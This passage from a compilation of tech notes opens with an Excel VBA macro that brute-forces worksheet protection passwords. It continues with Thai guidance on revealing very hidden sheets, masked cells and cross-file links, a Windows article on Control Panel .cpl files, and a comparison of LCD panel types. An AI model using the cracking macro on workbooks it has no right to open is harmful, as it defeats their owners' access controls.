    For i5 = 65 To 66: For i6 = 65 To 66: For n = 32 To 126
    ActiveSheet.Unprotect Chr(i) & Chr(j) & Chr(k) & _
    Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & Chr(i3) & _
    Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)
    If ActiveSheet.ProtectContents = False Then
    MsgBox "One usable password is " & Chr(i) & Chr(j) & _
    Chr(k) & Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & _
    Chr(i3) & Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)
    ActiveWorkbook.Sheets(1).Select
    Range("a1").FormulaR1C1 = Chr(i) & Chr(j) & _
    Chr(k) & Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & _
    Chr(i3) & Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)
    Exit Sub
             End If
                  Next: Next: Next: Next: Next: Next
                  Next: Next: Next: Next: Next: Next
             End Sub

    สิ่งที่แปลกในการถอดรหัสป้องกัน Sheet ก็คือ ถ้าเราใช้รหัส test เพื่อป้องกัน แต่สามารถใช้รหัส zzyw เพื่อถอดรหัสได้อีกรหัสหนึ่ง


    วิธีเผยโฉม Sheet ที่ซ่อนไว้แบบสุดๆ

    ตามปกติคำสั่งบนเมนู Format > Sheet > Hide จะช่วยซ่อน Sheet และใช้คำสั่ง Format > Sheet > Unhide เพื่อเลือกเปิดเผย Sheet ที่ถูกซ่อนอยู่ แต่รายชื่อ Sheet ซึ่งแสดงให้เห็นอยู่นั้นอาจไม่ใช่ Sheet ทั้งหมดที่ถูกซ่อนอยู่ก็ได้ เนื่องจากแต่ละ Sheet ยังถูกซ่อนแบบสุดๆได้อีกวิธีหนึ่งโดยผ่านโปรแกรม Visual Basic Editor

    1. เปิดแฟ้มที่ต้องการตรวจสอบและ Unhide Sheet ขึ้นมาในโปรแกรม Excel
    2. กดปุ่ม Alt+F11 เพื่อเปิดโปรแกรม Visual Basic Editor (VBE) ซึ่งตามปกติจะถูกติดตั้งพร้อมกับโปรแกรม Excel อยู่แล้ว เพียงแต่ไม่แสดงตัวให้เห็น
    3. ถ้าเปิดขึ้นมาแล้วไม่เห็นหน้า Windows ตามภาพข้างต้นแสดงขึ้นทางด้านซ้ายของจอ ให้ใช้เมนูของโปรแกรม Visual Basic Editor สั่ง View > Project Explorer และ View > Properties Window จะพบรายชื่อแฟ้ม Excel แสดงอยู่ใน Project Explorer
    4. ใน Project Explorer ซึ่งแสดงรายชื่อแฟ้มอยู่นั้น ให้คลิกที่เครื่องหมายบวกด้านหน้าของชื่อแฟ้มเพื่อเปิดดูโครงสร้างภายในว่าประกอบด้วย Sheet ชื่อใดบ้าง
    5. ใน Project Explorer ให้คลิกชื่อ Sheet จะพบว่า Properties Window ด้านล่างแสดงคุณสมบัติของ Sheet ที่ถูกคลิกเลือก
    6. ใน Properties Window ให้คลิกลงไปในช่องด้านขวาของ Visible Property เพื่อเปลี่ยนจาก xlSheetVeryHidden กลับมาเป็น xlSheetVisible
    7. กดปุ่ม Alt+F11 เพื่อกลับมายังโปรแกรม Excel จะพบว่าแฟ้มที่เปิดอยู่นั้นมี Sheet ที่ถูกซ่อนไว้แบบสุดๆ เปิดเผยตัวกลับมาเห็นเช่นเดิม
    หมายเหตุ
    • นอกจากนี้ยังมีวิธีลัดเพื่อเข้าสู่โปรแกรม Visual Basic Editor (VBE) โดยคลิกขวาที่ Sheet Tab > View Code
    • ใน Properties Window ควรสังเกตช่อง ScrollArea Property ด้วยว่าไม่ได้ระบุตำแหน่งเซลล์ใดไว้ เพื่อทำให้สามารถใช้ Scroll Bar เลื่อนย้ายตำแหน่งพื้นที่แสดงบนจอได้ตามปกติ ยกตัวอย่างเช่น ถ้าระบุ ScrollArea ไว้เป็น $A$1:$A$5 จะทำให้เราไม่สามารถขยับ Scroll Bar และไม่สามารถคลิกหรือใช้แป้นพิมพ์เลือกเซลล์นอกเหนือจากบริเวณเซลล์ A1:A5 ได้เลย

    สำหรับผู้ที่คุ้นเคยกับการใช้โปรแกรม Excel VBA ควรเขียนรหัสต่อไปนี้เพื่อใช้ซ่อน Sheet แบบ VeryHidden และเปิดเผย Sheet ทั้งหมดทั้งที่ซ่อนไว้ทั้งหมด

    Sub ActiveSheetVeryHidden()

    On Error Resume Next
    ActiveSheet.Visible = xlVeryHidden

    End Sub

    Sub UnhideAllSheets()

    On Error Resume Next
    For Each ThisSheet In ActiveWorkbook.Sheets
    ThisSheet.Visible = True
    Next ThisSheet

    End Sub

    จงอย่าเชื่อในสิ่งที่มองเห็น

    ประโยคหัวข้อข้างบนนี้จะสมบูรณ์ขึ้นหากเขียนเสียใหม่ว่า จงอย่าเชื่อในสิ่งที่มองเห็น และจงอย่ามองข้ามสิ่งที่มองไม่เห็น เนื่องจากเราสามารถทำให้ข้อมูลที่บันทึกไว้ในเซลล์หรือผลคำนวณซึ่งควรจะแสดงได้อย่างถูกต้อง กลับหายตัวไปหรือกลายเป็นค่าอื่น เช่น จากเดิมในเซลล์มีตัวเลขที่บันทึกลงไปเป็นเลข 123 แต่กลับแสดงค่าออกมาเป็นเลข 999 หรือแสดงเป็นค่าอื่นได้ตามแต่จะกำหนด

    1. ถ้า Sheet ถูก Protect อยู่ ขอให้สั่ง Tools > Protection > Unprotect Sheet เสียก่อน เพื่อเปิดเผยเซลล์ที่ซ่อนไว้แบบ Hidden จากคำสั่ง Format > Cells > Protection > Hidden ซึ่งกันไม่ให้ Formula Bar แสดงค่าที่อยู่ภายในเซลล์
    2. สั่ง Tools > Options > View > กาช่อง Row & column header เพื่อแสดงหัวตาราง แล้วตรวจสอบว่า Row และ Column เรียงต่อเนื่องกันหรือไม่ ถ้าพบว่าขาดหายไปให้สั่ง Format > Row > Unhide และ Format > Column > Unhide ทั้งนี้จงอย่ารีบเชื่อว่า Row และ Column ที่เห็นในตอนแรกที่เปิดแฟ้มเป็น Row และ Column ของจริง เพราะอาจเป็นแค่ภาพ Row หรือ Column Header ที่ถูกสร้างขึ้นเลียนแบบหัวตารางของจริงก็ได้
    3. สำหรับบาง Sheet ซึ่งไม่ได้ใช้วิธี Hide Sheet แต่ใช้วิธีสร้าง Outline เพื่อจัดลำดับการซ่อน Row หรือ Column เป็นชั้นๆตามลำดับการคำนวณ ให้คลิกปุ่ม Show Outline Symbol บน Expert1 Toolbar เพื่อเปิดให้เห็นโครงสร้างของ Outline (ถ้ามี)

      Expert1 Toolbar เป็นเมนูซึ่งติดตั้งเพิ่มเติมโดยใช้ Add-in ชื่อ Expert2000.xla สามารถ Download ฟรีได้จาก www.ExcelExpertTraining.com ส่วนผู้ที่เข้าอบรมหลักสูตรสุดยอดเคล็ดลับและลัดของ Excel ภาค 2 จะได้รับ Add-in ชื่อ Expert2004.xla
    4. เลือกเซลล์ใดเซลล์หนึ่งซึ่งมีความหมายเท่ากับเปิดโอกาสให้เลือกทั้งตาราง หรือจะเลือกพื้นที่ตารางเฉพาะส่วนที่ต้องการก็ได้ จากนั้นกดปุ่ม F5 > Special แล้วเลือกกาประเภทของข้อมูลที่ต้องการค้นหา หากต้องการค้นหาซ้ำให้กดปุ่ม F4 เพื่อทวนคำสั่งซ้ำ เมื่อเซลล์ข้อมูลประเภทที่ต้องการถูกเลือกแล้ว ควรเทสีพื้นลงไปในเซลล์หรือเปลี่ยนสีตัวอักษรให้เห็นแตกต่างกัน เช่น เซลล์ตัวเลขใช้พื้นเซลล์สีเหลือง เซลล์ตัวอักษรใช้พื้นเซลล์สีเขียว เซลล์สูตรใช้พื้นเซลล์สีฟ้า ทั้งนี้ควรเลือกเทสีพื้นก่อนการเลือกเปลี่ยนสี Font เนื่องจากวิธีเปลี่ยนสี Font อาจไม่สามารถเปิดเผยค่าทั้งหมดที่ถูกซ่อนไว้โดยใช้วิชาล่องหน
    5. ตรวจสอบเซลล์ที่พบว่าไม่มีค่าใด แต่เมื่อใช้ F5 > Special แล้วกลับพบว่าไม่ได้ว่างอย่างที่นึกไว้เนื่องจากอาจใช้วิชาล่องหน ซึ่งถูกใช้คำสั่ง Format > Cells > Number > Custom แล้วกำหนด Type เป็นเครื่องหมาย semi-colon 3 ตัวติดกัน ;;; ส่งผลให้ไม่ว่าจะเป็นค่าบวก ค่าลบ ค่าศูนย์ หรือตัวอักษรก็ตาม จะไม่แสดงค่าใดๆเลยให้เห็นในเซลล์ ซึ่งเราจะพบว่าเซลล์ไม่ได้ว่างอย่างที่เห็นได้โดยดูจากค่าที่แสดงในช่อง Formula Bar เท่านั้น ให้เปลี่ยน Format จาก ;;; เป็น General โดยเลือกเซลล์ที่ต้องการแล้วกดปุ่ม Ctrl+Shift+~ พร้อมกัน (แนะนำให้เปลี่ยน Format เซลล์ที่ต้องสงสัยเป็น General เพื่อช่วยให้เราเห็นค่าที่แท้จริง และทำลาย Format ที่ใช้เดิมทั้งหมดซึ่งอาจแสดงค่าผิดเพี้ยนจากค่าที่แท้จริง)
    6. ควรใช้ F5 > Special ค้นหา Object ซึ่งอาจเป็นรูปภาพที่มองไม่เห็นหรือเป็นรูปภาพขนาดเล็กมาก
    วิธีตามรอยและย้อนรอยสูตร

    เรื่องปวดเศียรเวียนเกล้าที่สุดในการใช้แฟ้ม Excel ที่ผู้อื่นสร้างขึ้น หรือแม้แต่แฟ้มที่ตนเองสร้างขึ้นเอง เห็นจะเป็นปัญหาการตามรอยและย้อนรอยสูตรนี่แหละ เพราะขนาดตนเองเป็นผู้สร้างสูตรต่างๆกับมือก็ตาม พอเวลาผ่านไปสักหกเดือน เราจะจำไม่ค่อยได้แล้วว่าข้อมูลใดอยู่ที่ไหน พอเปิดแฟ้มขึ้นมาดูจะงงเป็นไก่ตาแตก ไม่ทราบว่าจะเริ่มที่เซลล์ไหน และมีขั้นตอนใช้แฟ้มนั้นอย่างไรดี ยิ่งถ้าผู้ที่สร้างแฟ้ม ไม่ได้แยกส่วนข้อมูลไว้เป็นส่วนของ Input-Calculation-Output ด้วยแล้ว กว่าจะเริ่มต้นใช้งานต่อไปได้ จะต้องใช้เวลางมหาที่ไปที่มาของค่าต่างๆมิใช่น้อย

    ขั้นตอนเบื้องต้น
    1. เริ่มแรกสุดต้องจัดเก็บแฟ้มต้นฉบับไว้ให้ดี เมื่อเปิดแฟ้มต้นฉบับ ให้รีบสั่ง Save as กำหนดชื่อแฟ้มใหม่
    2. ไม่ควรยอมให้รหัส VBA ในแฟ้มทำงาน โดยเปิดแฟ้มที่มีรหัส VBA แบบ Disable Macro เสมอ แล้วตรวจสอบรหัส VBA ที่ใช้อยู่ในแฟ้มนั้นก่อนว่าเป็นรหัสที่ใช้งานต่อได้อย่างปลอดภัยก่อน จึงจะยอมให้เปิดแฟ้มแบบ Enable Macro
    3. ตรวจสอบ File > Properties ว่า ผู้ที่สร้างแฟ้มนี้ได้บันทึกคำอธิบายวิธีการใช้งานไว้หรือไม่
    4. หากพบว่าแฟ้มที่ใช้งานนั้น Link ข้อมูลมาจากแฟ้มอื่น ให้เปิดแฟ้มต้นทาง โดยใช้เมนูคำสั่ง Edit > Links > Open Source ซึ่งจะช่วยทำให้สูตร Link ข้ามแฟ้มในแฟ้มปลายทางที่เรากำลังแกะสูตรอยู่ กลายเป็นสูตรสั้นลง ไม่แสดงชื่อ Drive และ Folder ด้านหน้าของชื่อแฟ้มต้นทางในเซลล์สูตร
    5. สั่ง File > Page Setup > Sheet > กาช่อง Black and white และกาช่อง Row and column headings เพื่อพิมพ์ตารางทั้งหมดแบบขาวดำ และมีหัวตารางบอกตำแหน่งอ้างอิง
    6. Unprotect และ Unhide ทุกอย่างที่ซ่อนหรือใส่รหัสป้องกันการแก้ไข โดยสั่ง
      • Tools > Protection > Unprotect Workbook
      • Tools > Protection > Unprotect Sheet
      • Tools > Options > View > กาช่อง Gridlines, Row and column headers, Horizontal scroll bar, Vertical scroll bar, และ Sheet tabs
      • View > Normal
      • View > Full Screen
    7. เปลี่ยนชื่อ Sheet ให้ใช้ชื่อสั้นและเข้าใจง่าย เพื่อสะดวกต่อการอ่านสูตรในเซลล์
    8. ปรับให้เซลล์แสดงสูตรที่ใช้ โดยสั่ง Tools > Options > View > กาช่อง Formulas แล้วพิมพ์ตารางแสดงสูตรนี้เก็บไว้อ้างอิงเป็นสูตรต้นฉบับ
    9. เปลี่ยนระบบการแก้ไขในเซลล์ โดยสั่ง Tools > Options > Edit ตัดกาช่อง Edit directly in cell เพื่อใช้ Formula Bar ในการแก้ไขแทนการแก้ไขในเซลล์โดยตรง และส่งผลให้เมื่อเรา Double คลิกลงไปในเซลล์สูตรปลายทาง (Dependent) จะพบว่า Excel จะพาเราย้อนไปเลือกเซลล์ต้นทาง (Precedent) ให้เลย และให้กด F5 ตามด้วยกด Enter เพื่อย้อนกลับมายังเซลล์สูตร
    10. สั่ง Insert > Name > Paste > Paste List เพื่อสรุปชื่อ Range Name, Formula Name, และ Constant Name ที่ใช้อยู่ในแฟ้ม
    วิธีไล่ที่ไปที่มาของสูตรด้วย F5 ตามด้วย F4

    เริ่มจากคลิกเลือกเซลล์สูตร จากนั้นกดปุ่ม F5 > Special เพื่อเปิด Goto Special

    • กาช่อง Precedents หากต้องการค้นหาเซลล์ต้นทางที่ส่งค่ามายังเซลล์สูตร
    • กาช่อง Dependents หากต้องการค้นหาเซลล์ที่รับค่าต่อจากเซลล์สูตร
    • เมื่อกดปุ่ม OK ให้กดปุ่ม F4 เพื่อทวนคำสั่งล่าสุดซ้ำต่อไปเรื่อยๆ จะพบว่า Excel กระโดดไปยังเซลล์ต่างๆให้เอง
    วิธีค้นหาเซลล์แกะดำที่มีสูตรเพี้ยน

    เริ่มจากคลิกเลือกตารางเซลล์สูตรที่สร้างไว้ตามแนวนอนหรือตามแนวตั้ง จากนั้นกดปุ่ม F5 > Special เพื่อเปิด Goto Special

    • กาช่อง Row Differences ถ้าเลือกเซลล์สูตรตามแนวนอน
    • กาช่อง Column Differences ถ้าเลือกเซลล์สูตรตามแนวตั้ง
    • เมื่อกดปุ่ม OK ให้กดปุ่ม F4 เพื่อทวนคำสั่งล่าสุดซ้ำต่อไปเรื่อยๆ จะพบว่า Excel กระโดดไปยังเซลล์ต่างๆให้เอง

    ทุกครั้งที่ Excel กระโดดไปยังเซลล์ต่างๆ ควรสังเกตรูปแบบสูตรบน Formula Bar และกลุ่มของเซลล์ที่เลือกไว้ซึ่งแสดงถึงรูปแบบสูตรที่ใช้ในเซลล์แต่ละกลุ่ม

    วิธีสร้างแผนที่แสดงที่ไปที่มาของสูตร

    แม้การใช้ Goto Special จะช่วยทำให้ Excel กระโดดไปเลือกเซลล์ต้นทางปลายทางของสูตรให้เองก็ตาม แต่ยังสู้คำสั่งจากเมนู Tools > Auditing > Show Auditing Toolbar หรือ Tools > Formula Auditing > Show Formula Auditing Toolbar ใน Excel XP ขึ้นไปไม่ได้ เนื่องจากการ Auditing จะช่วยสร้างเส้นลูกศรชี้ไปยังเซลล์ปลายทางให้ด้วย ดีกว่าการใช้ Goto Special ซึ่งเราต้องจำที่ไปที่มาด้วยตนเอง

    ก่อนที่จะใช้คำสั่งสร้างแผนที่ควรสั่ง Save แฟ้มให้เรียบร้อยก่อน เนื่องจากหากมีเซลล์สูตรที่เกี่ยวข้องกันมากมาย จะเสียเวลารอนานทีเดียวกว่าจะลากเส้นลูกศรครบทั้งหมด เมื่อ Formula Auditing สร้างเส้นลูกศรให้แล้ว ให้ชี้ที่เส้นลูกศรแล้ว Double คลิกเพื่อกระโดดกลับไปกลับมาระหว่างเซลล์ต้นทางปลายทาง ซึ่งหากเป็นสูตรที่ Link ข้าม Sheet หรือข้ามแฟ้ม จะเห็นภาพตารางที่ต้นทางหรือปลายทางของเส้น และเมื่อ Double คลิกที่เส้นจะเปิดจอ Goto ขึ้นมา ให้เลือกเซลล์ต่าง Sheet หรือต่างแฟ้มที่แสดงต้องการไป

    เส้นลูกศรที่ได้นี้ สามารถพิมพ์ลงบนกระดาษประกอบตารางเพื่อเป็นแผนที่แสดงที่ไปที่มาของสูตร แต่เมื่อสั่ง Save จะถูกลบทิ้งไป ไม่สามารถเก็บเส้นลูกศรไว้ติดแฟ้ม


    ร่องรอยที่สาบสูญ

    Goto Special และ Formula Auditing ทำหน้าที่ตามรอยและย้อนรอยสูตร ช่วยค้นหาที่ไปที่มาของการคำนวณซึ่งส่งค่าต่อไปเรื่อยๆ อย่างไรก็ตามเครื่องมือดังกล่าวยังไม่สามารถค้นหาร่องรอยของสูตรในลักษณะต่อไปนี้

    1. สูตรซึ่งใช้ตำแหน่งอ้างอิงเป็น Text เช่น สูตร Indirect
    2. สูตรซึ่งเปลี่ยนเป็น Text เพื่อหยุดการคำนวณ โดยการเติมเครื่องหมาย " ด้านหน้าเครื่องหมายเท่ากับ เช่น "=Sum(A1:A5) เพื่อหยุดไม่ให้คำนวณผลบวกตัวเลขในเซลล์ A1:A5 ทั้งนี้อาจสั่งผ่าน Edit > Replace เปลี่ยนเครื่องหมาย = เป็น "= ทำให้ลดจำนวนเซลล์สูตรลง ส่งผลให้แฟ้มคำนวณเร็วขึ้น
    3. สูตรซึ่งสร้างขึ้นโดย VBA หรือเป็นสูตร Function VBA ทำหน้าที่รับค่าจากเซลล์อื่น เช่น สูตร FnLink รับค่าจากเซลล์ A5

      Function FnLink()
      FnLink = [A5]
      End Function

    วิธีค้นหาและทำลาย Link ข้ามแฟ้ม

    ตั้งแต่ Excel XP เป็นต้นมา เราสามารถกดปุ่ม Break Link จากเมนูคำสั่ง Edit > Links แต่คำสั่งนี้จะทำลายสูตรทุกสูตรในเซลล์ซึ่งมีสูตร Link ข้ามแฟ้ม ให้กลายเป็นตัวเลข ทำให้สูตรอื่นๆในเซลล์นั้นถูกทำลายตามไปด้วย ดังนั้นคำสั่งนี้จึงเหมาะสำหรับการทำลายสูตร Link ข้ามแฟ้มซึ่งมีเพียงสูตรเดียวในเซลล์หนึ่งๆเท่านั้น

    แทนที่จะใช้คำสั่ง Break Link ซึ่งจะทำลายสูตรทั้งหมดในเซลล์ หากต้องการเปลี่ยนแปลงเฉพาะส่วนของสูตร Link ข้ามแฟ้ม ขอให้ใช้ขั้นตอนต่อไปนี้

    1. สั่ง Edit > Links เพื่อตรวจสอบชื่อแฟ้มต้นทางก่อนว่ามีชื่ออะไรบ้าง
    2. สั่ง Edit > Find เพื่อค้นหาเซลล์ที่มีคำว่า xls หรือ ชื่อแฟ้ม.xls จากนั้นให้เปลี่ยนสีพื้นเซลล์หรือสีตัวอักษรเพื่อเป็นสัญลักษณ์บอกตำแหน่งว่ามีสูตร Link ข้ามแฟ้มอยู่ในเซลล์ใด
    3. คลิกเลือกสูตรเฉพาะส่วนที่ต้องการแก้ไข จากนั้นพิมพ์ตัวเลขทับ หรือกดปุ่ม F9 เพื่อเปลี่ยนสูตร Link ข้ามแฟ้มให้เป็นตัวเลข

    ขั้นตอนข้างต้นถือเป็นขั้นตอนที่ต้องใช้เวลาในการแก้ไขมาก เพราะต้องค่อยๆแก้ไขทีละเซลล์และทีละสูตรด้วยตนเอง และที่น่าเสียดายเป็นอย่างยิ่งก็คือ เป็นการทำลายสูตรที่เราเสียเวลาสร้างขึ้นมากับมือ เมื่อทำลายกลายเป็นตัวเลขไปแล้ว จะไม่สามารถใช้คำสั่งใดย้อนกลับเปลี่ยนตัวเลขให้คืนสภาพเป็นสูตรได้อีก ยกเว้นแต่จะเปลี่ยนใจทันควันแล้ว Undo เท่านั้น

    ดังนั้นเพื่อป้องกันปัญหาไม่ให้เกิดขึ้นแล้วต้องเสียเวลาแก้ไขสูตรในภายหลัง เราควรจัดเตรียมเซลล์เพื่อสร้างสูตร Link ข้ามแฟ้มแยกจากเซลล์คำนวณอื่นๆไว้เป็นตารางหรือ Sheet เป็นพื้นที่เพื่อใช้เป็นพื้นที่สำหรับสูตร Link ข้ามแฟ้มเป็นการเฉพาะ จากนั้นจึงค่อยสร้างสูตรคำนวณนำค่าไปคำนวณต่ออีกชั้นหนึ่ง อย่าใช้วิธีสร้างสูตร Link ข้ามแฟ้มซ้อนเข้าไปคำนวณร่วมกับสูตรอื่นเป็นอันขาด

    • หากต้องการทำลาย Link ข้ามแฟ้มให้กลายเป็นตัวเลข ให้ใช้คำสั่ง Edit > Links > Break Link หรือใช้วิธี Copy ทั้งตารางแล้วสั่ง Paste Special แบบ Value ทับตารางสูตรลงไปเพื่อทำให้กลายเป็นตัวเลขทั้งหมด
    • หากต้องการเก็บสูตร Link ข้ามแฟ้มไว้เช่นเดิม ให้เปิดแฟ้มต้นทางขึ้นมาแล้วลบเซลล์ทั้งหมดทิ้ง เว้นเซลล์ต้นทางที่ส่งค่าไปยังสูตร Link ข้ามแฟ้ม ทั้งนี้สามารถใช้วิธี Double คลิกลงไปในเซลล์สูตร Link ข้ามแฟ้ม ซึ่ง Excel จะกระโดดย้อนไปหาเซลล์ต้นทางในแฟ้มต้นทางให้เอง (จะใช้วิธี Double คลิกดังกล่าวได้ ต่อเมื่อสั่ง Tools > Options > Edit > ตัดกาช่อง Edit directly in cell ไว้ก่อน)
    • หากต้องการเก็บสูตร Link ข้ามแฟ้มไว้เช่นเดิม แต่ต้องการให้ส่งค่าเท่ากับ 0 ให้เปิดแฟ้มต้นทางขึ้นมาแล้วลบค่าในเซลล์ทั้งหมดทิ้ง ซึ่งจะช่วยให้แฟ้มต้นทางกลายเป็นแฟ้มขนาดเล็กมาก
    • หากต้องการเปลี่ยนสูตร Link ข้ามแฟ้มให้กลายเป็นสูตร Link ข้าม Sheet ให้ใช้วิธี Cut เซลล์ต้นทางจากแฟ้มต้นทาง มา Paste ลงในแฟ้มปลายทาง ซึ่ง Excel จะช่วยเปลี่ยนแปลงสูตร Link ให้เอง

    นอกจากสูตร Link ข้ามแฟ้มซึ่งอยู่ในเซลล์แล้ว ยังอาจมีสูตร Link ข้ามแฟ้ม ซ่อนอยู่อีกในส่วนอื่นๆ เช่น

    1. Range Name และ Formula Name ให้ตรวจดูจากคำสั่ง Insert > Name > Define
    2. Data Validation แบบ Custom
    3. Conditional Formatting แบบ Formula is
    4. Assigned Macro ซึ่งกำกับติดไว้กับ Object ที่เป็นรูปภาพหรือปุ่ม

    ขอให้ตรวจสอบและจัดการกับสูตร Link ข้ามแฟ้มจนกว่าจะไม่พบเมนูคำสั่ง Edit > Links เปิดให้ใช้งาน จากนั้นจึงจะถือว่าเป็นแฟ้มซึ่งสามารถนำไปใช้งานได้อย่างอิสระต่อไป

    :: Description of Control Panel (.cpl) Files ::

    SUMMARY

    This article describes the purpose and usage of Control Panel (.cpl) files.

    MORE INFORMATION

    Each tool in Control Panel is represented by a .cpl file in the Windows\ System folder. The .cpl files in the Windows\System folder are loaded automatically when you start Control Panel. Note that Control Panel files are sometimes loaded using entries in the [MMCPL] section of the Control.ini file.
    The following table lists the most common .cpl files, including all the .cpl files included with Windows:

    File name      Purpose
    -----------------------------------------------------------------------
    Access.cpl         Accessibility properties
    Appwiz.cpl          Add/Remove Programs properties
    Desk.cpl              Display properties
    FindFast.cpl       FindFast (included with Microsoft Office for Windows 95)
    Inetcpl.cpl            Internet properties
    Intl.cpl                   Regional Settings properties
    Joy.cpl                 Joystick properties
    Main.cpl               Mouse, Fonts, Keyboard, and Printers properties
    Mlcfg32.cpl         Microsoft Exchange or Windows Messaging properties
    Mmsys.cpl          Multimedia properties
    Modem.cpl         Modem properties
    Netcpl.cpl            Network properties
    Odbccp32.cpl    Data Sources (32-bit ODBC, included w/ Microsoft Office)
    Password.cpl     Password properties
    Sticpl.cpl              Scanners and Cameras properties
    Sysdm.cpl           System properties and Add New Hardware wizard
    Themes.cpl        Desktop Themes 
    TimeDate.cpl     Date/Time properties
    Wgpocpl.cpl       Microsoft Mail Post Office
        
    Note that in Windows 98, the Desk.cpl file is named Deskw95.cpl in the compressed cabinet (.cab) file. The file is renamed to Desk.cpl in the Windows\System folder.
    Third-party software and hardware manufacturers can add Control Panel icons to provide an interface for setting configuration options for their products. An icon appears in Control Panel when the .cpl file is placed in the Windows\System folder by the program's Setup tool.
    You can create a shortcut to a Control Panel tool by dragging an icon from Control Panel to the desktop or another location, or by manually creating a shortcut and specifying the path to a .cpl file.
    Note that the Sounds tool does not have its own .cpl file; it uses the Mmsys.cpl file. To create a shortcut to the Sounds tool, use the command line control mmsys.cpl sounds.
    APPLIES TO

    • Microsoft Windows 98 Standard Edition
    • Microsoft Plus! 95 Standard Edition
    • Microsoft Windows 95
    • Microsoft Windows Millennium Edition

    :: LCD Panel Technology Type and Characteristics ::

    TN film (Twisted Nematic) 
        - low manufacturing/retail costs 
        - restrictive viewing angles 
        - fast pixel response times 
        - dead pixels display white. Stuck pixels display RGB colors 
        - lower contrast levels means blacks are not as dark as VA based panels 
        - lower color reproduction

    IPS (In Plane Switching) 
        - improved viewing angles over TN 
        - very good color reproduction 
        - slower pixel response times than TN 
        - dead pixels display black 
        - lower contrast levels means blacks are not as dark as VA based panels

    Super-IPS (S-IPS)
        - same as IPS except ...
        - likely best color reproduction of all TFT
        - less expensive to produce than IPS
        - improved pixel response


    VA (Vertical Alignment) Technologies

    MVA (Multidomain Vertical Alignment) 
        - compromise between TN and IPS technologies 
        - superior color reproduction over TN but not as good as IPS 
        - very good viewing angles but less than IPS 
        - higher contrast than TN or S-IPS means very good blacks 
        - dead pixels are black 
        - slower pixel response than TN or IPS 
        - details can be lost when directly viewing dark areas

    Premium-MVA (P-MVA)
        - same as MVA except ...
        - "overdrive" technology increases pixel response but still slower than TN
        - may have slightly degraded color reproduction due to "overdrive" process

    PVA (Patterned VA)
        - same as MVA except ...
        - larger viewing angles
        - higher contrast levels means darkest blacks

    Super-PVA (S-PVA) 
        - same as PVA except ... 
        - “Magic Speed” (the Samsung equivalent to Overdrive) improves pixel response 
        - slightly improved color reproduction 
        - slightly improved viewing angles

    Purchasing Considerations

    TN Gamers
    Considered a "gamers" panel due to it's fast pixel response times which reduces trailing images know as "ghosting". However, this advantage has been reduced by new technologies to accelerate pixel response times in other panel types. Colors and contrast tend to be weak and blacks are not truly dark. Viewing angles are significantly limited. However, monitors based on this technology tend to be inexpensive.

    IPS / S-IPS Graphics Work or Web Browsing
    Considered to have the best color reproduction of all panel types, these panels are well suited for graphics work or web browsing. Pixel response time is also good but slower than the TN "gamers" panel. Contast and blacks are also less dark than VA panels but viewing angles are excellent.

    MVA / P-MVA / PVA / S-PVA Compromise for All-Around Use
    These panels are a compromise between the fast pixel response times of the TN panel and the excellent color reproduction of the IPS panels. Contrast and blacks are best of all the panel types. Viewing angles are similar but slightly inferior to IPS.